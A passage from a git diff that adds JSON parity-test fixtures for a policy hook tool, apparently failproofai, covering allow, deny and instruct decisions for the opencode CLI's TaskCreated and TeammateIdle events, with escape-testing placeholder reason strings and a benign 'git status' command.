\\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..529364d0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..653417f9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b7edbdd8 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..4970c568 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c325fa97 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a53955a7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..23cebf69 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..bdb86490 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..383a47be --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e88bccda --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..35768a6d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..a6dc192d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7634cade --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..2735ec3b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e93bf58d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e4506ebf --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..3771ada4 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2c848263 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..673c0bc7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: 